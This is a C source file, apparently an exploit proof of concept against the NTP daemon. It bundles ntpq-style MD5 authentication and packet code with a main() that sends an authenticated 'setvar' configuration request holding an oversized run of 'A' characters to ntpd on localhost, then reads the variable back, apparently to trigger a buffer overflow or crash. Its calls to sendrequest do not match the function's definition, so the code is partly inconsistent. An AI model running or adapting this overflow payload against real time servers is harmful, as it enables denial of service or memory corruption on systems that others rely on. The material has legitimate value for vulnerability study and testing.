u_long authkeyuncached;         /* cache misses */
u_long authnokey;               /* calls to encrypt with no key */
u_long authencryptions;         /* calls to encrypt */
u_long authdecryptions;         /* calls to decrypt */

struct savekey *authfreekeys;

int authnumfreekeys;
u_long current_time;


/*!
 * The core of the MD5 algorithm, this alters an existing MD5 hash to
 * reflect the addition of 16 longwords of new data.  MD5Update blocks
 * the data and converts bytes into longwords for this routine.
 */

void
transform(uint32_t buf[4], uint32_t const in[16]) {
	register uint32_t a, b, c, d;

	a = buf[0];
	b = buf[1];
	c = buf[2];
	d = buf[3];

	MD5STEP(F1, a, b, c, d, in[0] + 0xd76aa478, 7);
	MD5STEP(F1, d, a, b, c, in[1] + 0xe8c7b756, 12);
	MD5STEP(F1, c, d, a, b, in[2] + 0x242070db, 17);
	MD5STEP(F1, b, c, d, a, in[3] + 0xc1bdceee, 22);
	MD5STEP(F1, a, b, c, d, in[4] + 0xf57c0faf, 7);
	MD5STEP(F1, d, a, b, c, in[5] + 0x4787c62a, 12);
	MD5STEP(F1, c, d, a, b, in[6] + 0xa8304613, 17);
	MD5STEP(F1, b, c, d, a, in[7] + 0xfd469501, 22);
	MD5STEP(F1, a, b, c, d, in[8] + 0x698098d8, 7);
	MD5STEP(F1, d, a, b, c, in[9] + 0x8b44f7af, 12);
	MD5STEP(F1, c, d, a, b, in[10] + 0xffff5bb1, 17);
	MD5STEP(F1, b, c, d, a, in[11] + 0x895cd7be, 22);
	MD5STEP(F1, a, b, c, d, in[12] + 0x6b901122, 7);
	MD5STEP(F1, d, a, b, c, in[13] + 0xfd987193, 12);
	MD5STEP(F1, c, d, a, b, in[14] + 0xa679438e, 17);
	MD5STEP(F1, b, c, d, a, in[15] + 0x49b40821, 22);

	MD5STEP(F2, a, b, c, d, in[1] + 0xf61e2562, 5);
	MD5STEP(F2, d, a, b, c, in[6] + 0xc040b340, 9);
	MD5STEP(F2, c, d, a, b, in[11] + 0x265e5a51, 14);
	MD5STEP(F2, b, c, d, a, in[0] + 0xe9b6c7aa, 20);
	MD5STEP(F2, a, b, c, d, in[5] + 0xd62f105d, 5);
	MD5STEP(F2, d, a, b, c, in[10] + 0x02441453, 9);
	MD5STEP(F2, c, d, a, b, in[15] + 0xd8a1e681, 14);
	MD5STEP(F2, b, c, d, a, in[4] + 0xe7d3fbc8, 20);
	MD5STEP(F2, a, b, c, d, in[9] + 0x21e1cde6, 5);
	MD5STEP(F2, d, a, b, c, in[14] + 0xc33707d6, 9);
	MD5STEP(F2, c, d, a, b, in[3] + 0xf4d50d87, 14);
	MD5STEP(F2, b, c, d, a, in[8] + 0x455a14ed, 20);
	MD5STEP(F2, a, b, c, d, in[13] + 0xa9e3e905, 5);
	MD5STEP(F2, d, a, b, c, in[2] + 0xfcefa3f8, 9);
	MD5STEP(F2, c, d, a, b, in[7] + 0x676f02d9, 14);
	MD5STEP(F2, b, c, d, a, in[12] + 0x8d2a4c8a, 20);

	MD5STEP(F3, a, b, c, d, in[5] + 0xfffa3942, 4);
	MD5STEP(F3, d, a, b, c, in[8] + 0x8771f681, 11);
	MD5STEP(F3, c, d, a, b, in[11] + 0x6d9d6122, 16);
	MD5STEP(F3, b, c, d, a, in[14] + 0xfde5380c, 23);
	MD5STEP(F3, a, b, c, d, in[1] + 0xa4beea44, 4);
	MD5STEP(F3, d, a, b, c, in[4] + 0x4bdecfa9, 11);
	MD5STEP(F3, c, d, a, b, in[7] + 0xf6bb4b60, 16);
	MD5STEP(F3, b, c, d, a, in[10] + 0xbebfbc70, 23);
	MD5STEP(F3, a, b, c, d, in[13] + 0x289b7ec6, 4);
	MD5STEP(F3, d, a, b, c, in[0] + 0xeaa127fa, 11);
	MD5STEP(F3, c, d, a, b, in[3] + 0xd4ef3085, 16);
	MD5STEP(F3, b, c, d, a, in[6] + 0x04881d05, 23);
	MD5STEP(F3, a, b, c, d, in[9] + 0xd9d4d039, 4);
	MD5STEP(F3, d, a, b, c, in[12] + 0xe6db99e5, 11);
	MD5STEP(F3, c, d, a, b, in[15] + 0x1fa27cf8, 16);
	MD5STEP(F3, b, c, d, a, in[2] + 0xc4ac5665, 23);

	MD5STEP(F4, a, b, c, d, in[0] + 0xf4292244, 6);
	MD5STEP(F4, d, a, b, c, in[7] + 0x432aff97, 10);
	MD5STEP(F4, c, d, a, b, in[14] + 0xab9423a7, 15);
	MD5STEP(F4, b, c, d, a, in[5] + 0xfc93a039, 21);
	MD5STEP(F4, a, b, c, d, in[12] + 0x655b59c3, 6);
	MD5STEP(F4, d, a, b, c, in[3] + 0x8f0ccc92, 10);
	MD5STEP(F4, c, d, a, b, in[10] + 0xffeff47d, 15);
	MD5STEP(F4, b, c, d, a, in[1] + 0x85845dd1, 21);
	MD5STEP(F4, a, b, c, d, in[8] + 0x6fa87e4f, 6);
	MD5STEP(F4, d, a, b, c, in[15] + 0xfe2ce6e0, 10);
	MD5STEP(F4, c, d, a, b, in[6] + 0xa3014314, 15);
	MD5STEP(F4, b, c, d, a, in[13] + 0x4e0811a1, 21);
	MD5STEP(F4, a, b, c, d, in[4] + 0xf7537e82, 6);
	MD5STEP(F4, d, a, b, c, in[11] + 0xbd3af235, 10);
	MD5STEP(F4, c, d, a, b, in[2] + 0x2ad7d2bb, 15);
	MD5STEP(F4, b, c, d, a, in[9] + 0xeb86d391, 21);

	buf[0] += a;
	buf[1] += b;
	buf[2] += c;
	buf[3] += d;
}

void
byteSwap(uint32_t *buf, unsigned words)
{
        unsigned char *p = (unsigned char *)buf;

        do {
                *buf++ = (uint32_t)((unsigned)p[3] << 8 | p[2]) << 16 |
                        ((unsigned)p[1] << 8 | p[0]);
                p += 4;
        } while (--words);
}


	
/*!
 * Final wrapup - pad to 64-byte boundary with the bit pattern
 * 1 0* (64-bit count of bits processed, MSB-first)
 */
void
isc_md5_final(isc_md5_t *ctx, unsigned char *digest) {
        int count = ctx->bytes[0] & 0x3f;    /* Number of bytes in ctx->in */
        unsigned char *p = (unsigned char *)ctx->in + count;

        /* Set the first char of padding to 0x80.  There is always room. */
        *p++ = 0x80;

        /* Bytes of padding needed to make 56 bytes (-8..55) */
        count = 56 - 1 - count;

        if (count < 0) {        /* Padding forces an extra block */
                memset(p, 0, count + 8);
                byteSwap(ctx->in, 16);
                transform(ctx->buf, ctx->in);
                p = (unsigned char *)ctx->in;
                count = 56;
        }
        memset(p, 0, count);
        byteSwap(ctx->in, 14);

        /* Append length in bits and transform */
        ctx->in[14] = ctx->bytes[0] << 3;
        ctx->in[15] = ctx->bytes[1] << 3 | ctx->bytes[0] >> 29;
        transform(ctx->buf, ctx->in);

        byteSwap(ctx->buf, 4);
        memcpy(digest, ctx->buf, 16);
        memset(ctx, 0, sizeof(isc_md5_t));      /* In case it's sensitive */
}






/*!
 * Update context to reflect the concatenation of another buffer full
 * of bytes.
 */
void
isc_md5_update(isc_md5_t *ctx, const unsigned char *buf, unsigned int len) {
        uint32_t t;

        /* Update byte count */

        t = ctx->bytes[0];
        if ((ctx->bytes[0] = t + len) < t)
                ctx->bytes[1]++;        /* Carry from low to high */

        t = 64 - (t & 0x3f);    /* Space available in ctx->in (at least 1) */
        if (t > len) {
                memcpy((unsigned char *)ctx->in + 64 - t, buf, len);
                return;
        }
        /* First chunk is an odd size */
        memcpy((unsigned char *)ctx->in + 64 - t, buf, t);
        byteSwap(ctx->in, 16);
        transform(ctx->buf, ctx->in);
        buf += t;
        len -= t;

        /* Process data in 64-byte chunks */
        while (len >= 64) {
                memcpy(ctx->in, buf, 64);
                byteSwap(ctx->in, 16);
                transform(ctx->buf, ctx->in);
                buf += 64;
                len -= 64;
        }

        /* Handle any remaining bytes of data. */
        memcpy(ctx->in, buf, len);
}



/*!
 * Start MD5 accumulation.  Set bit count to 0 and buffer to mysterious
 * initialization constants.
 */
void
isc_md5_init(isc_md5_t *ctx) {
        ctx->buf[0] = 0x67452301;
        ctx->buf[1] = 0xefcdab89;
        ctx->buf[2] = 0x98badcfe;
        ctx->buf[3] = 0x10325476;

        ctx->bytes[0] = 0;
        ctx->bytes[1] = 0;
}


/*
 * MD5authencrypt - generate message digest
 *
 * Returns length of MAC including key ID and digest.
 */
int
MD5authencrypt(
        int     type,           /* hash algorithm */
        u_char  *key,           /* key pointer */
        uint32_t *pkt,           /* packet pointer */
        int     length          /* packet length */
        )
{
        u_char  digest[EVP_MAX_MD_SIZE];
        u_int   len;
        EVP_MD_CTX ctx;

        /*
         * Compute digest of key concatenated with packet. Note: the
         * key type and digest type have been verified when the key
         * was creaded.
         */
        INIT_SSL();
        EVP_DigestInit(&ctx, EVP_get_digestbynid(type));
        EVP_DigestUpdate(&ctx, key, (u_int)cache_keylen);
        EVP_DigestUpdate(&ctx, (u_char *)pkt, (u_int)length);
        EVP_DigestFinal(&ctx, digest, &len);
        memmove((u_char *)pkt + length + 4, digest, len);
        return (len + 4);
}




/*
 * authhavekey - return one and cache the key, if known and trusted.
 */
int
authhavekey(
	keyid_t keyno
	)
{
	struct savekey *sk;

	authkeylookups++;
	if (keyno == 0 || keyno == cache_keyid)
		return (1);

	/*
	 * Seach the bin for the key. If found and the key type
	 * is zero, somebody marked it trusted without specifying
	 * a key or key type. In this case consider the key missing.
	 */
	authkeyuncached++;
	sk = key_hash[KEYHASH(keyno)];
	while (sk != NULL) {
		if (keyno == sk->keyid) {
			if (sk->type == 0) {
				authkeynotfound++;
				return (0);
			}
			break;
		}
		sk = sk->next;
	}

	/*
	 * If the key is not found, or if it is found but not trusted,
	 * the key is not considered found.
	 */
	if (sk == NULL) {
		authkeynotfound++;
		return (0);

	}
	if (!(sk->flags & KEY_TRUSTED)) {
		authnokey++;
		return (0);
	}

	/*
	 * The key is found and trusted. Initialize the key cache.
	 */
	cache_keyid = sk->keyid;
	cache_type = sk->type;
	cache_flags = sk->flags;
	cache_key = sk->k.MD5_key;
	cache_keylen = sk->keylen;
	return (1);
}



/*
 * authencrypt - generate message authenticator
 *
 * Returns length of authenticator field, zero if key not found.
 */
int
authencrypt(
        keyid_t keyno,
        uint32_t *pkt,
        int length
        )
{

        /*
         * A zero key identifier means the sender has not verified
         * the last message was correctly authenticated. The MAC
         * consists of a single word with value zero.
         */
        authencryptions++;
        pkt[length / 4] = htonl(keyno);
        if (keyno == 0) {
                return (4);
        }
        if (!authhavekey(keyno))
                return (0);

        return (MD5authencrypt(cache_type, cache_key, pkt, length));
}


/*
 * authtrust - declare a key to be trusted/untrusted
 */
void
authtrust(
	keyid_t keyno,
	u_long trust
	)
{
	struct savekey *sk;

	/*
	 * Search bin for key; if it does not exist and is untrusted,
	 * forget it.
	 */
	sk = key_hash[KEYHASH(keyno)];
	while (sk != 0) {
		if (keyno == sk->keyid)
		    break;

		sk = sk->next;
	}
	if (sk == 0 && !trust)
		return;

	/*
	 * There are two conditions remaining. Either it does not
	 * exist and is to be trusted or it does exist and is or is
	 * not to be trusted.
	 */	
	if (sk != 0) {
		if (cache_keyid == keyno) {
			cache_flags = 0;
			cache_keyid = 0;
		}

		/*
		 * Key exists. If it is to be trusted, say so and
		 * update its lifetime. If not, return it to the
		 * free list.
		 */
		if (trust > 0) {
			sk->flags |= KEY_TRUSTED;
			if (trust > 1)
				sk->lifetime = current_time + trust;
			else
				sk->lifetime = 0;
			return;
		}
		sk->flags &= ~KEY_TRUSTED; {
			struct savekey *skp;

			skp = key_hash[KEYHASH(keyno)];
			if (skp == sk) {
				key_hash[KEYHASH(keyno)] = sk->next;
			} else {
				while (skp->next != sk)
				    skp = skp->next;
				skp->next = sk->next;
			}
			authnumkeys--;

			sk->next = authfreekeys;
			authfreekeys = sk;
			authnumfreekeys++;
		}
		return;
	}

	/*
	 * Here there is not key, but the key is to be trusted. There
	 * seems to be a disconnect here. Here we allocate a new key,
	 * but do not specify a key type, key or key length.
	 */ 
	if (authnumfreekeys == 0)
	    if (auth_moremem() == 0)
		return;

	sk = authfreekeys;
	authfreekeys = sk->next;
	authnumfreekeys--;
	sk->keyid = keyno;
	sk->type = 0;
	sk->keylen = 0;
	sk->flags = KEY_TRUSTED;
	sk->next = key_hash[KEYHASH(keyno)];
	key_hash[KEYHASH(keyno)] = sk;
	authnumkeys++;
	return;
}




/*
 * auth_moremem - get some more free key structures
 */
int
auth_moremem(void)
{
        struct savekey *sk;
        int i;

        sk = (struct savekey *)calloc(MEMINC, sizeof(struct savekey));
        if (sk == 0)
                return (0);

        for (i = MEMINC; i > 0; i--) {
                sk->next = authfreekeys;
                authfreekeys = sk++;
        }
        authnumfreekeys += MEMINC;
        return (authnumfreekeys);
}


void
MD5auth_setkey(
	keyid_t keyno,
	int	keytype,
	const u_char *key,
	const int len
	)
{
	struct savekey *sk;
	
	/*
	 * See if we already have the key.  If so just stick in the
	 * new value.
	 */
	sk = key_hash[KEYHASH(keyno)];
	while (sk != NULL) {
		if (keyno == sk->keyid) {
			sk->type = keytype;
			sk->keylen = min(len, sizeof(sk->k.MD5_key));
#ifndef DISABLE_BUG1243_FIX
			memcpy(sk->k.MD5_key, key, sk->keylen);
#else
			strncpy((char *)sk->k.MD5_key, (const char *)key,
			    sizeof(sk->k.MD5_key));
#endif
			if (cache_keyid == keyno) {
				cache_flags = 0;
				cache_keyid = 0;
			}
			return;
		}
		sk = sk->next;
	}

	/*
	 * Need to allocate new structure.  Do it.
	 */
	if (0 == authnumfreekeys && !auth_moremem())
		return;

	sk = authfreekeys;
	authfreekeys = sk->next;
	authnumfreekeys--;

	sk->keyid = keyno;
	sk->type = keytype;
	sk->flags = 0;
	sk->lifetime = 0;
	sk->keylen = min(len, sizeof(sk->k.MD5_key));
#ifndef DISABLE_BUG1243_FIX
	memcpy(sk->k.MD5_key, key, sk->keylen);
#else
	strncpy((char *)sk->k.MD5_key, (const char *)key,
	    sizeof(sk->k.MD5_key));
#endif
	sk->next = key_hash[KEYHASH(keyno)];
	key_hash[KEYHASH(keyno)] = sk;
#ifdef DEBUG
	if (debug > 1) {
		char	hex[] = "0123456789abcdef";
		int	j;

		printf("auth_setkey: key %d type %d len %d ", sk->keyid,
		    sk->type, sk->keylen);
		for (j = 0; j < sk->keylen; j++)
				printf("%c%c", hex[key[j] >> 4],
				    hex[key[j] & 0xf]);
		printf("\n");
	}	
#endif
	authnumkeys++;
}


/*
 * Types of ascii representations for keys.  "Standard" means a 64 bit
 * hex number in NBS format, i.e. with the low order bit of each byte
 * a parity bit.  "NTP" means a 64 bit key in NTP format, with the
 * high order bit of each byte a parity bit.  "Ascii" means a 1-to-8
 * character string whose ascii representation is used as the key.
 */
int
authusekey(
        keyid_t keyno,
        int keytype,
        const u_char *str
        )
{
        const u_char *cp;
        int len;

        cp = str;
        len = strlen((const char *)cp);
        if (len == 0)
                return 0;

        MD5auth_setkey(keyno, keytype, str, (int)strlen((const char *)str));
        return 1;
}


/*
 * keytype_name         returns OpenSSL short name for digest by NID.
 *
 * Used by ntpq and ntpdc keytype()
 */
const char *
keytype_name(
        int nid
        )
{
        static const char unknown_type[] = "(unknown key type)";
        const char *name;

#ifdef OPENSSL
        INIT_SSL();
        name = OBJ_nid2sn(nid);
        if (NULL == name)
                name = unknown_type;
#else   /* !OPENSSL follows */
        if (NID_md5 == nid)
                name = "MD5";
        else
                name = unknown_type;
#endif
        return name;
}


/*
 * getpass_keytype() -- shared between ntpq and ntpdc, only vaguely
 *                      related to the rest of ssl_init.c.
 */
char *
getpass_keytype(
        int     keytype
        )
{
        char    pass_prompt[64 + 11 + 1]; /* 11 for " Password: " */

        snprintf(pass_prompt, sizeof(pass_prompt),
                 "%.64s Password: ", keytype_name(keytype));

        return getpass(pass_prompt);
}


int
authistrusted(
        keyid_t keyno
        )
{
        struct savekey *sk;

        if (keyno == cache_keyid)
            return ((cache_flags & KEY_TRUSTED) != 0);

        authkeyuncached++;
        sk = key_hash[KEYHASH(keyno)];
        while (sk != 0) {
                if (keyno == sk->keyid)
                    break;
                sk = sk->next;
        }
        if (sk == 0) {
                authkeynotfound++;
                return (0);

        } else if (!(sk->flags & KEY_TRUSTED)) {
                authkeynotfound++;
                return (0);
        }
        return (1);
}



u_long
getkeyid(
	const char *keyprompt
	)
{
	int c;
	FILE *fi;
	char pbuf[20];
	size_t i;
	size_t ilim;

#ifndef SYS_WINNT
	if ((fi = fdopen(open("/dev/tty", 2), "r")) == NULL)
#else
	if ((fi = _fdopen(open("CONIN$", _O_TEXT), "r")) == NULL)
#endif /* SYS_WINNT */
		fi = stdin;
	else
		setbuf(fi, (char *)NULL);
	fprintf(stderr, "%s", keyprompt); fflush(stderr);
	for (i = 0, ilim = COUNTOF(pbuf) - 1;
	     i < ilim && (c = getc(fi)) != '\n' && c != EOF;
	     )
		pbuf[i++] = (char)c;
	pbuf[i] = '\0';
	if (fi != stdin)
		fclose(fi);

	return (u_long) atoi(pbuf);
}


void
warning(
	const char *fmt,
	const char *st1,
	const char *st2
	)
{
	(void) fprintf(stderr, "%s: ", progname);
	(void) fprintf(stderr, fmt, st1, st2);
	(void) fprintf(stderr, ": ");
	perror("");
}


int
sendpkt(
	void *	xdata,
	size_t	xdatalen
	)
{
	if (debug >= 3)
		printf("Sending %lu octets\n", (u_long)xdatalen);
        
        sendto(sockfd,xdata,(size_t)xdatalen, 0,(struct sockaddr *)&serverAddr,addr_size);


	if (debug >= 4) {
		int first = 8;
		char *cdata = xdata;

		printf("Packet data:\n");
		while (xdatalen-- > 0) {
			if (first-- == 0) {
				printf("\n");
				first = 7;
			}
			printf(" %02x", *cdata++ & 0xff);
		}
		printf("\n");
	}
	return 0;
}


void error(char *msg)
{
    perror(msg);
    exit(0);
}


int main(int argc, char *argv[])
{

  char *cfgcmd;
  u_short rstatus;
  int rsize;
  const char *rdata;
  char *resp;
  int res;
  int col;
  int i;
     
  int portNum, nBytes;
  char buffer[1024];


  /*Create UDP socket*/
  sockfd = socket(PF_INET, SOCK_DGRAM, 0);

  /*Configure settings in address struct*/
  serverAddr.sin_family = AF_INET;
  serverAddr.sin_port = htons(123);
  serverAddr.sin_addr.s_addr = inet_addr("127.0.0.1");
  memset(serverAddr.sin_zero, '\0', sizeof serverAddr.sin_zero);  

  /*Initialize size variable to be used later on*/
  addr_size = sizeof serverAddr;




  cfgcmd = "setvar A = AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA";

  res = sendrequest(CTL_OP_CONFIGURE, 0, 1, strlen(cfgcmd), cfgcmd,
		      &rstatus, &rsize, &rdata);

  sleep(5);
  cfgcmd = "A";

  res = sendrequest(CTL_OP_READVAR, 0, 1, strlen(cfgcmd), cfgcmd, 
                       &rstatus, &rsize, &rdata);


}

/*
 * sendrequest - format and send a request packet
 */
int
sendrequest(
	int opcode,
	int associd,
	int auth,
	int qsize,
	char *qdata
	)
{
	struct ntp_control qpkt;
	int	pktsize;
	u_long	key_id;
	char *	pass;
	int	maclen;

	/*
	 * Check to make sure the data will fit in one packet
	 */
	if (qsize > CTL_MAX_DATA_LEN) {
		fprintf(stderr,
			"***Internal error!  qsize (%d) too large\n",
			qsize);
		return 1;
	}

	/*
	 * Fill in the packet
	 */
	qpkt.li_vn_mode = PKT_LI_VN_MODE(0, pktversion, MODE_CONTROL);
	qpkt.r_m_e_op = (u_char)(opcode & CTL_OP_MASK);
	qpkt.sequence = htons(sequence);
	qpkt.status = 0;
	qpkt.associd = htons((u_short)associd);
	qpkt.offset = 0;
	qpkt.count = htons((u_short)qsize);

	pktsize = CTL_HEADER_LEN;

	/*
	 * If we have data, copy and pad it out to a 32-bit boundary.
	 */
	if (qsize > 0) {
		memcpy(qpkt.data, qdata, (size_t)qsize);
		pktsize += qsize;
		while (pktsize & (sizeof(uint32_t) - 1)) {
			qpkt.data[qsize++] = 0;
			pktsize++;
		}
	}

	/*
	 * If it isn't authenticated we can just send it.  Otherwise
	 * we're going to have to think about it a little.
	 */
	if (!auth && !always_auth) {
		return sendpkt(&qpkt, pktsize);
	} 

	/*
	 * Pad out packet to a multiple of 8 octets to be sure
	 * receiver can handle it.
	 */
	while (pktsize & 7) {
		qpkt.data[qsize++] = 0;
		pktsize++;
	}

	/*
	 * Get the keyid and the password if we don't have one.
	 */
	if (info_auth_keyid == 0) {
		key_id = getkeyid("Keyid: ");
		if (key_id == 0 || key_id > NTP_MAXKEY) {
			fprintf(stderr, 
				"Invalid key identifier\n");
			return 1;
		}
		info_auth_keyid = key_id;
	}
	if (!authistrusted(info_auth_keyid)) {
		pass = getpass_keytype(info_auth_keytype);
		if ('\0' == pass[0]) {
			fprintf(stderr, "Invalid password\n");
			return 1;
		}
		authusekey(info_auth_keyid, info_auth_keytype,
			   (u_char *)pass);
		authtrust(info_auth_keyid, 1);
	}

	/*
	 * Do the encryption.
	 */
	maclen = authencrypt(info_auth_keyid, (void *)&qpkt, pktsize);
	if (!maclen) {  
		fprintf(stderr, "Key not found\n");
		return 1;
	} else if ((size_t)maclen != (info_auth_hashlen + sizeof(keyid_t))) {
		fprintf(stderr,
			"%d octet MAC, %lu expected with %lu octet digest\n",
			maclen, (u_long)(info_auth_hashlen + sizeof(keyid_t)),
			(u_long)info_auth_hashlen);
		return 1;
	}
	
	return sendpkt((char *)&qpkt, pktsize + maclen);
}